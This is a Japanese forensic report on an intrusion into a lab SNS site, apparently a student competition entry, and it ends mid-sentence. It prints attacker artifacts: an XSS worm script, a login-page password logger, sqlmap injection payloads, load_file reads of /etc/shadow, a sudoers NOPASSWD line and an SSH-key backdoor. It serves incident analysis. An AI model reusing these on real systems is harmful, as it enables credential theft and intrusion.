mbsd cybersecurity challenges mbsd sns サイト …...mbsd cybersecurity challenges mbsd sns...

Post on 19-Apr-2020

8 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

TRANSCRIPT

MBSD Cybersecurity Challenges

MBSD SNSサイトに対するサイトに対する 不正アクセスに関する報告不正アクセスに関する報告

麻生情報ビジネス専門学校麻生情報ビジネス専門学校

チーム なんでもいいチーム なんでもいい

1.はじめに1.はじめに 3

チーム紹介 3 役割分担 3 今回使用したツール 3

2.事案の概要2.事案の概要 5

3.被害範囲について3.被害範囲について 5 3.1 情報の漏洩 5 3.2 ウェブサーバへの侵入 5 3.3 コンテンツの改ざん 5

4.不正アクセスの手口に関する調査結果4.不正アクセスの手口に関する調査結果 7 4.1 情報の漏洩① 8 4.2 情報の漏洩② 8 4.3 情報の漏洩③ 8 4.4 情報の漏洩④ 9 4.5 脆弱性検査ツールの使用 10 4.6 phpinfoの漏洩 11 4.7 MySQLサーバへの侵入 11 4.8 情報の漏洩⑤ 12 4.9 情報の漏洩⑥ 12 4.10 情報の漏洩⑦ 13 4.11 情報の漏洩⑧ 14 4.12 ウェブサーバへの侵入 15 4.13 rootユーザへの昇格成功 16 4.14 SSH鍵生成 17 4.15 SSHログイン成功 18 4.16 ログインページの改ざん 18 4.17 ログインページの動作テスト 19 4.18 情報の漏洩⑨ 20 4.19 クロスサイトスクリプティング攻撃 21 4.20 情報の漏洩⑩ 22 4.21 バックドアの設置 22 4.22 トップページの改ざん 24 4.23 情報の漏洩⑪ 25 webshell.phpの実行 26

1

55. 脆弱性について 脆弱性について 29 sendmessage.phpにおいて不正なファイルをアップロード出来てしまう 29 mySQLのrootユーザのパスワードが未設定 32 writedirary.phpにおけるSQLインジェクション 33 総当たり攻撃への対処について 37 readdiary.phpにおいてXSSが可能 38 userlist.phpにおけるSQLインジェクション 41 他人の日記を書き換える 44 存在するユーザにアクセスしようとするとForbidenが表示される 48 readdiary.phpのセマンティックURL攻撃に対する脆弱性 50 user.phpのセマンティックURL攻撃に対する脆弱性 52 各画面のcsrfの脆弱性について 54 XST(Cross-Site-Tracing)の脆弱性 56 IPtablesが機能していない 56 DoS攻撃の脆弱性 57

66. 脆弱性ではない仕様上の問題点 脆弱性ではない仕様上の問題点 58 ログイン時にパスワードを平文で送信している問題 58 sendmessage.phpのメッセージ送信の宛先に関する問題 59 register.phpにおいて不正な情報の登録が可能 63 サインアップの登録情報についての問題 64 サーバのrootユーザのパスワード強度が低い 66

7.被害を発生・拡大させた要因7.被害を発生・拡大させた要因 67 phpinfo();関数があるPHPファイルを見ることができた。 67 MySQLのroot設定が脆弱 67

8.サービスの再開に向けての必須項目8.サービスの再開に向けての必須項目 68 webmix3について 68 webサーバの設定について 68

2

1.はじめに1.はじめに 本報告書は2018年10月に明らかになったMBSD SNSサイト(以降SNSサイトと記載する)

に対する外部からの不正アクセスについて、被害状況、原因等について整理するとともに、

今後講じるべき情報セキュリティ対策などについて取りまとめたものである。

チーム紹介 プログラムをメインに勉強している中山・河原と、ネットワークやセキュリティ技術を学ん

でいる竹﨑・本田が学科を超えて協力し、それぞれの得意分野で診断・調査を進め入賞を目

指します。

役割分担 ● 竹﨑友哉

○ 脆弱性調査 ● 本田翔太郎

○ ログ解析 ● 中山怜也

○ PHPソース解析 ● 河原慎之介

○ PHPソース解析

今回使用したツール ● ログ解析

○ Excel ● ヘッダの改ざん

○ burpsuite ■ https://portswigger.net/burp

● sqlインジェクション、データベース搾取 ○ sqlmap

■ http://sqlmap.org/ ● 脆弱性診断ツール

○ nessus ■ https://www.tenable.com/products/nessus-home

○ vuls ■ https://vuls.io/ja/

○ open-vas ■ http://www.openvas.org/

● ウェブサイト診断 ○ skipfish

■ https://code.google.com/archive/p/skipfish/ ○ nikto

■ https://cirt.net/Nikto2

3

● ソフトウェア脆弱性データベース ○ CVE Details

■ https://www.cvedetails.com/ ○ EXPLOIT DATABASE

■ https://www.exploit-db.com/ ● エクスプロイトキット

○ Metasploit ■ https://www.metasploit.com/ ■ auxiliary/dos/http/apache_range_dos - Apache Killer

● ポートスキャン ○ nmap

■ https://nmap.org/man/jp/ ○ SPARTA

■ https://sparta.secforce.com/ ● 静的脆弱性検査ツール

○ PHP RIPS ■ http://rips-scanner.sourceforge.net/

● 共通脆弱性評価システム ○ https://jvndb.jvn.jp/cvss/ja/v3.html#CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I

:H/A:H/E:H/RC:C/CR:H/IR:H/AR:H ● ファイル転送

○ WinSCP ■ https://winscp.net/eng/docs/lang:jp

4

2.事案の概要2.事案の概要 SNSサイトに対して不正なアクセスが行われ以下の不正行為が行われた。

①情報の漏洩

②ウェブサーバへの侵入

③コンテンツの改ざん

3.被害範囲について3.被害範囲について

3.13.1 情報の漏洩情報の漏洩 不正アクセスにより、SNS内の以下の情報が漏洩した。(件数は正規利用者のカウント) ・SNSサイトに登録されているアカウント情報(ユーザID、ユーザネーム、性別、誕生日)..........................8件

・ユーザアカウントのパスワード................................................................................................................................ 5件

・SNSサイトに投稿された全ユーザの日記............................................................................................................. 47件

・SNSサイトで送信された全ユーザのメッセージ................................................................................................. 24件 その他に、ウェブサーバ内の以下の情報が漏洩した。 ・/etc/内の、passwd, shadow, group, hosts, issue, redhat-release, /httpd/conf/httpd.conf............................ 7件 ・/var/www/html/webmix3/内の、

changeprofile.php, /class/class.php, /class/User.php, help.php, index.php, libs.php, login.php, logout.php, register.php, sendmessage.php, user.php, userlist.php, writediary.php.................................................... 13件

以上はログから確認できたものであり、これら以外のファイルも漏洩もしくは閲覧された可能性が高い。

3.23.2 ウェブサーバへの侵入ウェブサーバへの侵入 攻撃者がアップロードしたphpファイルを通じてサーバ内への侵入が行われた。 その後は、apacheユーザによるSSHログインを計3回確認している。 侵入後、rootユーザへ昇格を行っているため、被害は甚大なものと考えられる。

3.33.3 コンテンツの改ざんコンテンツの改ざん ・index.phpが削除され、新たにindex.htmlが作成される ・ログインしたユーザのパスワードを窃取できるようにログインページが改ざんされる

login.php

4 file_put_contents("tmp/.z", "$_POST[loginid]/$_POST[password]\n", FILE_APPEND);

login.phpの改ざん箇所

5

・他ユーザになりすまし、XSSを埋め込んだ日記が投稿される XSSが埋め込まれた日記を閲覧すると、閲覧者の日記にもXSSを埋め込んだ同一の日記

を書き込む。

mysql diaries

<script>

$(function(){if(0==document.forms.length){history.pushState("","","/");var e=new

XMLHttpRequest;e.open("POST","http://192.168.11.2/writediary.php",!0),e.setRequestHeader

("Content-Type","application/x-www-form-urlencoded"),e.withCredentials=!0;for(var

t="id=&mode=write&title=%E6%88%91%E3%80%85%E3%81%AF%E6%A4%9C%E5%87%BA%E3%81%97%E3%81%9F%

E3%81%82%E3%81%AA%E3%81%9F%E3%81%AE%E7%96%91%E3%82%8F%E3%81%97%E3%81%84%E3%82%A2%E3%82%A

B%E3%82%A6%E3%83%B3%E3%83%88%E3%81%AE%E6%B4%BB%E5%8B%95&content="+encodeURIComponent(doc

ument.getElementsByTagName("pre")[0].innerHTML)+"&mode=1",n=new

Uint8Array(t.length),E=0;E<n.length;E++)n[E]=t.charCodeAt(E);e.send(new Blob([n]))}});

</script>

埋め込まれたXSS

6

4.不正アクセスの手口に関する調査結果4.不正アクセスの手口に関する調査結果 確認した不正アクセスのタイムライン

No. 日時日時 IPアドレスアドレス 不正アクセスの内容不正アクセスの内容

1 9/18 15時38分 192.168.11.207 情報の漏洩①

2 9/18 16時05分 192.168.11.208 情報の漏洩②

3 9/19 12時59分 192.168.11.204 情報の漏洩③

4 9/19 13時19分 192.168.11.204 情報の漏洩④

5 9/19 13時31分 192.168.11.100 脆弱性検査ツールの使用

6 9/19 14時24分 192.168.11.204 phpinfoの漏洩

7 9/19 15時20分 192.168.11.100 MySQLサーバへの侵入

8 9/19 17時20分 192.168.11.122 情報の漏洩⑤

9 9/19 17時31分 192.168.11.122 情報の漏洩⑥

10 9/19 17時42分 192.168.11.122 情報の漏洩⑦

11 9/21 14時39分 192.168.11.204 情報の漏洩⑧

12 9/21 15時14分 192.168.11.204 ウェブサーバへの侵入

13 9/22 00時55分 192.168.11.204 rootユーザへの昇格成功

14 9/26 10時53分 192.168.11.204 SSH鍵生成

15 9/26 10時59分 192.168.11.204 SSHログイン成功

16 9/26 11時00分 192.168.11.204 ログインページの改ざん

17 9/26 11時02分 192.168.11.204 ログインページの動作テスト

18 9/28 14時02分 192.168.11.143 情報の漏洩⑨

19 9/26 14時10分 192.168.11.204 クロスサイトスクリプティング攻撃

20 9/28 15時17分 192.168.11.204 情報の漏洩⑩

21 9/28 15時43分 192.168.11.143 バックドアの設置

22 9/28 18時11分 192.168.11.204 ホームページの改ざん

23 9/28 19時00分 192.168.11.204 情報の漏洩⑪

7

4.14.1 情報の漏洩①情報の漏洩① 4.24.2 情報の漏洩②情報の漏洩② 4.34.3 情報の漏洩③情報の漏洩③

「%」でユーザ検索を行った際の出力画面

ユーザ検索フォームにて、「%」を使用したSQLインジェクションが行われた。 これによって、存在を知らないユーザを含む全てのユーザが表示され、任意のユーザに対し

フレンド申請および日記の閲覧を行うことができる。以下にログを記載する。 /var/log/httpd/access_log-20180923より抜粋

192.168.11.207 - - [18/Sep/2018:15:38:25 +0900] "POST /user.php HTTP/1.1" 200 1676 "http://192.168.11.2/userlist.php?name=%25" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"

/var/log/httpd/access_log-20180923より抜粋

192.168.11.207 - - [18/Sep/2018:15:40:51 +0900] "GET /readdiary.php?id=6 HTTP/1.1" 200 1882 "http://192.168.11.2/userlist.php?name=%25" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"

192.168.11.207の送信元からの通信で、 リファラの値がuserlist.php?name=%25となっているため、「%」でユーザ検索を行った後

にPOST /user.php(フレンド申請)、GET /readdiary.php?id=6(日記の閲覧)を行っている。

8

192.168.11.208の送信元からの通信でも同様に、

/var/log/httpd/access_log-20180923より抜粋

192.168.11.208 - - [18/Sep/2018:16:05:04 +0900] "POST /user.php HTTP/1.1" 200 1668 "http://192.168.11.2/userlist.php?name=%25" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"

userlist.php?name=%25から、POST /user.php(フレンド申請)を行っている。 ただし、日記の閲覧は行っておらず、フレンド申請の目的で使用したと考えられる。 192.168.11.204の送信元からの通信でも同様に、

/var/log/httpd/access_log-20180923より抜粋

192.168.11.204 - - [19/Sep/2018:12:59:46 +0900] "GET /user.php?id=2 HTTP/1.1" 200 292 "http://192.168.11.2/userlist.php?name=%25" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

userlist.php?name=%25から、GET /user.php?id=2(ユーザページの閲覧)を行っている。 ただし、フレンド申請や日記の閲覧は行っておらず、ユーザの確認目的で使用したと考えられる。

4.44.4 情報の漏洩④情報の漏洩④

readdiary.phpに対するGETの id パラメータに 0~100 の値を入れた通信が確認された。 フレンド登録していなくても全ての日記の閲覧が可能となっているため、全ての日記の情報

が漏洩した可能性が高い。以下にログを記載する。

/var/log/httpd/access_log-20180923より抜粋

192.168.11.204 - - [19/Sep/2018:13:19:24 +0900] "GET /readdiary.php?id=0 HTTP/1.1" 200 1716 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

リファラの値には何も無く、直接アクセスを試みていることがわかる。

9

4.54.5 脆弱性検査ツールの使用脆弱性検査ツールの使用

IPアドレス毎の日別アクセス数 上のグラフを見ると、 9/19に192.168.11.100から1万件以上の大量アクセスが確認できる。ログの詳細では、

/var/log/httpd/access_log-20180923より抜粋

192.168.11.100 - - [19/Sep/2018:13:31:35 +0900] "GET / HTTP/1.1" 302 - "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"

/var/log/httpd/access_log-20180923より抜粋

192.168.11.100 - - [19/Sep/2018:13:45:13 +0900] "HEAD / HTTP/1.1" 302 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)"

ユーザエージェント部分にNmap、Niktoの文字列が確認できるため、それらの脆弱性検査

ツールを使用していることがわかる。

10

4.64.6 phpinfoの漏洩の漏洩 ドキュメントルート直下に存在する、phpinfo.phpファイルへのアクセスが確認できた。

/var/log/httpd/access_log-20180923より抜粋

192.168.11.204 - - [19/Sep/2018:14:24:37 +0900] "GET /phpinfo.php HTTP/1.1" 200 83866 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

192.168.11.204の送信元から、GET /phpinfo.phpが行われてる。 攻撃の参考となる情報が掴まれた可能性が高い。 4.74.7 MySQLサーバへの侵入サーバへの侵入 リモートから、MySQLサーバへのrootログインが確認された。以下にログを記載する。

/var/log/mysql-general-query.logより抜粋

180919 15:20:39 18121 Connect Access denied for user 'root'@'192.168.11.100' (using password: YES) 18123 Connect root@192.168.11.100 on mysql 18123 Quit

192.168.11.100の送信元からは、何らかのツールを使用した様々なユーザ名でのログイン試

行が確認されており、その途中で、rootユーザでのログインに成功している。 ただし、直後に接続を切断しており、これ以降にrootログインおよびSQLの操作は見られな

かったため情報が漏洩した可能性は低い。

11

4.84.8 情報の漏洩⑤情報の漏洩⑤

user.php?id=1を直接開いた際の出力画面 GETの id パラメータに 0~100 の値を入れたpython-requestsを使用した通信が確認され

た。直接アクセスすることで任意のユーザのアカウント情報が表示されてしまう。ログで

は、

/var/log/httpd/access_log-20180923より抜粋

192.168.11.122 - - [19/Sep/2018:17:20:04 +0900] "GET /user.php?id=0 HTTP/1.1" 302 - "-" "python-requests/2.18.4"

192.168.11.122の送信元から、通信が行われていることがわかる。 これにより全ユーザのアカウント情報が漏洩した。 4.94.9 情報の漏洩⑥情報の漏洩⑥ 4.4と同様に、

GETの id パラメータに 0~100 の値を入れたpython-requestsを使用した通信が確認され

た。フレンド登録していなくても全ての日記の閲覧が可能となっている。ログでは、

/var/log/httpd/access_log-20180923より抜粋

192.168.11.122 - - [19/Sep/2018:17:31:13 +0900] "GET /readdiary.php?id=0 HTTP/1.1" 200 1716 "-" "python-requests/2.18.4"

先ほどと同じく192.168.11.122の送信元から、通信が行われていることがわかる。 これにより全てのユーザの日記情報も漏洩した。

12

4.104.10 情報の漏洩⑦情報の漏洩⑦ 9/19 17時42分~18時01分までのおよそ19分間で、以下のログが確認された。

/var/log/httpd/access_log-20180923より抜粋

192.168.11.122 - - [19/Sep/2018:17:42:56 +0900] "GET /readdiary.php?id=35 HTTP/1.1" 200 2453 "-" "sqlmap/1.2.9#stable (http://sqlmap.org)"

192.168.11.122の送信元から、通信が行われていることがわかる。 ユーザエージェントには、"sqlmap/1.2.9#stable (http://sqlmap.org)"とあり、 攻撃者は sqlmap を使用し、webmix3データベースの情報を全て入手した可能性が高い。 実際にsqlmapで攻撃してみると、脆弱性が発見され全ての情報が入手できてしまった。 sqlmap実行結果より抜粋

Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=5' AND 1996=1996 AND 'lmHT'='lmHT Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=5' AND SLEEP(5) AND 'wOzk'='wOzk Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: id=-1477' UNION ALL SELECT NULL,NULL,CONCAT(0x71706a7071,0x7a4d4d7056424b465348565a76706e4e4d4a4c766d7350716c69647647534f4c476f774266416146,0x716a627671),NULL,NULL,NULL-- reNE --- [14:14:44] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 6.8 web application technology: PHP 7.0.11, Apache 2.2.15 back-end DBMS: MySQL >= 5.0.12 [14:14:44] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [14:14:44] [INFO] fetching current database [14:14:44] [INFO] fetching tables for database: 'webmix3' [14:14:44] [INFO] used SQL query returns 4 entries [14:14:44] [INFO] retrieved: diaries [14:14:44] [INFO] retrieved: friends

13

[14:14:44] [INFO] retrieved: messages [14:14:44] [INFO] retrieved: users

4.114.11 情報の漏洩⑧情報の漏洩⑧ 再びリモートからMySQLサーバへのrootログインが確認された。以下にログを記載する。

/var/log/mysql-general-query.logより抜粋

180921 14:39:12 26245 Connect Access denied for user 'root'@'192.168.11.204' (using password: YES) 180921 14:39:19 26246 Connect Access denied for user 'root'@'192.168.11.204' (using password: YES) 180921 14:39:24 26247 Connect root@192.168.11.204 on mysql 26247 Query show databases 180921 14:39:47 26247 Init DB webmix3 180921 14:39:53 26247 Query select * from users 180921 14:40:25 26247 Query select * from friends 180921 14:40:31 26247 Query select * from messages 180921 14:41:06 26247 Query select load_file('/etc/hosts') 180921 14:41:12 26247 Query select load_file('/etc/passwd') 180921 14:41:32 26247 Query select load_file('/etc/shadow') 180921 14:42:30 26247 Query select load_file('/etc/issue') 180921 14:42:45 26247 Query select load_file('/etc/httpd/conf/httpd.conf') 180921 14:43:32 26247 Query select load_file('/var/www/html/webmix3/index.php') 180921 14:44:30 26247 Query select load_file('/var/www/html/webmix3/login.php') 180921 14:44:54 26247 Query select load_file('/var/www/html/webmix3/libs.php') 180921 14:45:25 26247 Query select load_file('/var/www/html/webmix3/class/class.php') 180921 14:45:45 26247 Query select load_file('/var/www/html/webmix3/class/User.php') 180921 14:46:48 26247 Query select load_file('/var/www/html/webmix3/sendmessage.php') 180921 21:00:47 26247 Quit

14

192.168.11.204の送信元から、ログイン試行が確認されており、rootユーザでのログインに

成功している。9/21の14時39分~21時00分までのおよそ6時間21分もの間に、webmix3デー

タベースの全ての情報を入手し、サーバ内の機密情報も漏洩した。 4.124.12 ウェブサーバへの侵入ウェブサーバへの侵入 ウェブサーバに対して侵入が行われた。以下にログを記載する。

/var/log/httpd/access_log-20180923より抜粋

192.168.11.204 - - [21/Sep/2018:15:14:01 +0900] "GET /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 58 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

/var/log/httpd/error_log-20180923より抜粋

[Fri Sep 21 15:14:01 2018] [error] [client 192.168.11.204] PHP Notice: Undefined index: cmd in /var/www/html/webmix3/tmp/7449f92ea0f26445e89ae968227efaabtest.php on line 1

/var/log/httpd/access_log-20180923より抜粋

192.168.11.204 - - [21/Sep/2018:15:14:07 +0900] "POST /tmp/7449f92ea0f26445e89ae968227efaabtest.php HTTP/1.1" 200 84 "http://192.168.11.2/tmp/7449f92ea0f26445e89ae968227efaabtest.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

192.168.11.204の送信元から、/tmp/109d644f26c8e3416a55f4635c59c33btest.phpに対して

アクセスすることに成功している。 この/tmp/109d644f26c8e3416a55f4635c59c33btest.phpは、攻撃者が作成しメッセージ送信

における脆弱性を利用してアップロードしたもの。(脆弱性については後述) アクセスの際、エラーログでPHP Notice: Undefined index: cmd in /var/www/html/webmix3/tmp/7449f92ea0f26445e89ae968227efaabtest.php on line 1と記載

されていることから、cmdという変数が定義されていないことがわかる。 加えて、9/22 00時55分まで計34回のPOST通信が行われており、その間は、上記エラーロ

グは見られなかったことから、プログラム内では $_POST[’cmd’] が記述されておりここに

実行するコマンド内容を格納し、実行していると考えられる。 そして、以下のログも確認された。 /var/log/secure-20180923より抜粋

Sep 21 15:31:26 sns sudo: pam_unix(sudo:auth): authentication failure; logname= uid=48 euid=0 tty=/dev/pts/0 ruser=apache rhost= user=apache

15

Sep 21 15:31:35 sns sudo: apache : user NOT in sudoers ; TTY=pts/0 ; PWD=/var/www/html/webmix3/tmp ; USER=root ; COMMAND=/usr/bin/id Sep 21 15:31:48 sns su: pam_unix(su-l:auth): authentication failure; logname= uid=48 euid=0 tty=pts/0 ruser=apache rhost= user=root

まず、tty=/dev/pts/0という部分から、phpのプログラムはSSHやTelnetなどと同じような仮

想端末の役割を担い、コマンドの実行を行っていると考えられる。 sudoコマンドを使用してroot権限を得ようとするも、パスワードの認証に失敗(apacheユーザはデフォルトでロックされている)かつapacheユーザがsudoersファイルにないた

め、失敗。続けて、suコマンドでrootユーザへ昇格しようとするも、rootユーザのパスワー

ド認証に失敗している。 これらのことから攻撃者は、root権限の奪取を目的に行動していると考えられる。 sudoersファイルの確認を行っていると以下のファイルが設置されていた。

攻撃者が設置したと思われるファイルとその中身 中身には、apache ALL=(ALL) NOPASSWD:ALL が記述されており、 apacheユーザがsudoコマンドをパスワード無しで実行できるようにされている。 この時点で、root権限の奪取に成功している。 アクセスしたphpプログラムを通じてコマンドを実行し、このファイルを作成したことは明

らかだが、/etc/sudoers.d/ ディレクトリにファイルを作成するにもroot権限が必要なため、

攻撃者がどのようにして設置したのかまでは確認できなかった。 4.134.13 rootユーザへの昇格成功ユーザへの昇格成功 先ほど、apacheユーザがパスワードなしでsudoコマンドを実行できるようになったこと

で、rootユーザへの昇格が成功してしまった。以下にログを記載する。 /var/log/secure-20180923より抜粋

Sep 22 00:55:08 sns sudo: apache : TTY=pts/2 ; PWD=/var/www/html/webmix3/tmp ; USER=root ; COMMAND=/usr/bin/id Sep 22 00:55:21 sns sudo: apache : TTY=pts/2 ; PWD=/var/www/html/webmix3/tmp ; USER=root ; COMMAND=/bin/su - Sep 22 00:55:21 sns su: pam_unix(su-l:session): session opened for user root by (uid=0) Sep 22 00:56:44 sns su: pam_unix(su-l:session): session closed for user root

16

最初に sudo id を実行しているが、エラーは何も出力されていないため、成功している。 その次に sudo su - を実行し、rootユーザへ昇格したが数分後にセッションは切れている。 4.144.14 SSH鍵生成鍵生成 再びrootユーザへの昇格を行い、SSHでログインできるように準備を行っている可能性があ

ることがわかった。以下にログを記載する。 /var/log/secure-20180930より抜粋

Sep 26 10:53:25 sns sudo: apache : TTY=pts/0 ; PWD=/var/www/html/webmix3/tmp ; USER=root ; COMMAND=/bin/su - Sep 26 10:53:25 sns su: pam_unix(su-l:session): session opened for user root by (uid=0) Sep 26 10:54:32 sns sshd[2614]: ROOT LOGIN REFUSED FROM 192.168.11.204 Sep 26 10:54:32 sns sshd[2613]: ROOT LOGIN REFUSED FROM 192.168.11.204 Sep 26 10:54:32 sns sshd[2614]: Connection closed by 192.168.11.204

まず、sudo su - を実行しrootユーザへ昇格しておいた後、rootユーザでのSSHログインを試

行しているが、失敗している。このことから攻撃者はSSH接続を目的に行動している。 そこでSSHでの公開鍵認証で用いられる.ssh/ディレクトリを調べたところ、/var/www/ディ

レクトリ内に存在することがわかった。

.ssh/ディレクトリの検索画面 合わせてディレクトリのタイムスタンプを確認すると、9/26 10時58分となっており、上記

ログの数分後となっているため、ここでSSHに使用する鍵を生成したと考えられる。 加えて、rootユーザで historyコマンドを実行すると以下のコマンド実行が確認できた。 /root/.bash_historyより抜粋

cd /var/www mkdir .ssh cd .ssh echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDk87CzO7n9l6RFVYJ5ujyy4ajYI0btNKhTg+4daw285d9ewbf3iezjUj1C3WtL357UT6m2CieqG+kH6m6+a+nXLA37FwGCycumxNdKReK3FFaigbe/hqruFouW8N3xI8S4TWTYCbR4FaKviqvmJBja/TDu0LOfsU6f8ElBlazac1llUAW64ZN6Jq19k2ot+fLFC96N92FxShBuDzwSyik04zI9MiE3NIxyPxi0Qt4+tWq5lTALHDOnPSZLXdL4ofqyK+KUncA7LJfeS6csiheiCsTF8raktMES9LOWuIyfJuosg0PINNjoXijZmHfZeQqWut4em6DW01ZQI4ApMTzn' >> authorized_keys

17

chsh -s /bin/bash apache exit

このことからapacheユーザがSSHログインできるように準備していたことがわかった。 4.154.15 SSHログイン成功ログイン成功 apacheユーザでのSSHログインに成功し、rootユーザに昇格していることが確認された。 以下にログを記載する。 /var/log/secure-20180930より抜粋

Sep 26 10:59:01 sns sshd[2620]: Accepted publickey for apache from 192.168.11.204 port 54140 ssh2 Sep 26 10:59:01 sns sshd[2620]: pam_unix(sshd:session): session opened for user apache by (uid=0) Sep 26 10:59:07 sns sudo: apache : TTY=pts/2 ; PWD=/var/www ; USER=root ; COMMAND=/bin/su - Sep 26 10:59:07 sns su: pam_unix(su-l:session): session opened for user root by apache(uid=0)

Accepted publickey for apache from 192.168.11.204 port 54140 ssh2の部分から、 先ほどapacheユーザ用に生成した鍵を使用し、認証に成功したことがわかる。 ログイン後、sudo su - を実行し、rootユーザへの昇格も行っている。

4.164.16 ログインページの改ざんログインページの改ざん ログインページが改ざんされていることが確認された。以下にログを記載する。 /var/log/secure-20180930より抜粋

Sep 26 11:00:50 sns sudo: apache : TTY=pts/2 ; PWD=/var/www ; USER=root ; COMMAND=/bin/vi /var/www/html/webmix3/login.php Sep 26 11:02:49 sns sudo: apache : TTY=pts/2 ; PWD=/var/www/html/webmix3 ; USER=root ; COMMAND=/bin/vi /var/www/html/webmix3/login.php

改ざん前と改ざん後のログインページ比較結果

18

file_put_contents("tmp/.z", "$_POST[loginid]/$_POST[password]\n", FILE_APPEND);の1行が追加されていることがわかった。この処理により、ユーザがログインした際、そのユーザ

のログインIDとパスワードが tmp/.z ファイルに追記されてしまうようになる。 4.174.17 ログインページの動作テストログインページの動作テスト ログインページの改ざん後、攻撃者によるプログラムの動作テストが行われていることが確

認された。以下にログを記載する。 /var/log/httpd/access_log-20180930 /var/log/httpd/error_log-20180930より抜粋

192.168.11.204 - - [26/Sep/2018:11:02:24 +0900] "POST /login.php HTTP/1.1" 200 1890 "http://192.168.11.2/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" [Wed Sep 26 11:02:24 2018] [error] [client 192.168.11.204] PHP Warning: file_put_contents(.z): failed to open stream: Permission denied in /var/www/html/webmix3/login.php on line 4, referer: http://192.168.11.2/login.php 192.168.11.204 - - [26/Sep/2018:11:03:05 +0900] "POST /login.php HTTP/1.1" 200 1890 "http://192.168.11.2/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.168.11.204 - - [26/Sep/2018:11:03:24 +0900] "POST /login.php HTTP/1.1" 200 1890 "http://192.168.11.2/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

1回目のログイン後、エラーが出力されており、Permission deniedとなっていることから /tmp/.z に apacheユーザでのアクセス権限がないことがわかる。 その後2回のログインでは、エラーが出力されていないため、/tmp/.zに対してapacheユーザ

のアクセス権限を付与したと考えられる。

/tmp/.z の中身 /tmp/.z の中身を確認すると、1行目と2行目には、a/b と c/d という値が入っていることか

ら、エラー修正後2回のログインでそれぞれの値を使用したと推察できる。

19

4.184.18 情報の漏洩⑨情報の漏洩⑨ 再びリモートからMySQLサーバへのrootログインが確認された。以下にログを記載する。 /var/log/mysql-general-query.logより抜粋

180928 14:02:19 26625 Connect root@192.168.11.143 on 180928 14:06:27 26627 Connect root@192.168.11.143 on mysqldumpを使用した形跡 180928 14:50:26 26683 Connect root@192.168.11.143 on 180928 14:50:32 26683 Query select load_file('/etc/passwd') 180928 14:50:43 26683 Query select load_file('/etc/group') 180928 14:52:19 26683 Query select load_file('/etc/redhat-release') 180928 14:52:29 26683 Query select load_file('/etc/httpd/conf/httpd.conf') 180928 15:04:01 26708 Connect root@192.168.11.143 on 180928 15:11:42 26708 Query select load_file('/var/www/html/webmix3/index.php') 180928 15:11:54 26708 Query select load_file('/var/www/html/webmix3/login.php') 180928 15:12:10 26708 Query select load_file('/var/www/html/webmix3/userlist.php') 180928 15:14:41 26748 Connect root@192.168.11.143 on 180928 15:14:51 26748 Query select load_file('/var/www/html/webmix3/sendmessage.php') 180928 15:15:14 26748 Query select load_file('/var/www/html/webmix3/writediary.php') 180928 15:15:22 26748 Query select load_file('/var/www/html/webmix3/changeprofile.php') 180928 15:15:35 26748 Query select load_file('/var/www/html/webmix3/help.php') 180928 15:15:44 26748 Query select load_file('/var/www/html/webmix3/register.php') 180928 15:15:51 26748 Query select load_file('/var/www/html/webmix3/user.php') 180928 15:16:02 26748 Query select load_file('/var/www/html/webmix3/libs.php') 180928 15:16:49 26750 Connect root@192.168.11.143 on 180928 15:17:23 26750 Query select load_file('/var/www/html/webmix3/logout.php')

192.168.11.143の送信元から、計22回のrootログインが確認され、mysqlデータベース、

サーバ内の機密情報およびウェブページのphpファイルが漏洩した。

20

4.194.19 クロスサイトスクリプティング攻撃クロスサイトスクリプティング攻撃 攻撃者によってクロスサイトスクリプティングを埋め込んだ日記が投稿されていることが確

認された。以下にログを記載する。 /var/log/httpd/access_log-20180930より抜粋

192.168.11.204 - - [26/Sep/2018:14:10:44 +0900] "POST /writediary.php HTTP/1.1" 200 1637 "http://192.168.11.2/writediary.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

まず、192.168.11.204の送信元から、9/26 14時10分にPOST /writediary.php(日記の投稿)が行われている。次に、同時刻のデータベースログを確認すると以下のようになっている。 /var/log/mysql-general-query.logより抜粋

180926 14:10:44 26424 Connect webmix3@localhost on webmix3 26424 Query SELECT * FROM users WHERE id='10' 26424 Query SELECT * FROM diaries WHERE id='44' 26424 Query UPDATE diaries SET write_user_id=4, title='我々は検出したあなたの....

通常であれば、users の id と write_user_id は同じ値になるはずだが、違う値が入っている

ことから他ユーザになりすまして投稿を行っていることがわかる。 加えて、記事の内容部分には、

